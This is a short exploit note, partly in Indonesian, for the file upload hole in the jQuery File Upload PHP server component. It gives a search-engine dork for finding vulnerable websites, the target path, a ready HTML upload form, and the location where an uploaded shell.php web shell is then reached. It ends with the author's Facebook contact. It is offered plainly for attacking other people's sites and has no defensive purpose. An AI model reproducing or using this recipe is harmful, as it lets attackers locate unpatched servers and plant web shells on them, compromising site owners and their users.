[HTML] Jquery File Upload

dork :  inurl:/global/plugins/jquery-file-upload/server/php/ *extand the dork

exploit : target.com/patch/assets/global/plugins/jquery-file-upload/server/php/

kalau vuln biasanya sama dengan formcraft

code html:

<form method="POST" action="target.com/assets/global/plugins/jquery-file-upload/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>

shell acces : target.com/patch/assets/global/plugins/jquery-file-upload/server/php/files/shell.php



contact : https://www.facebook.com/cyb3r.worm7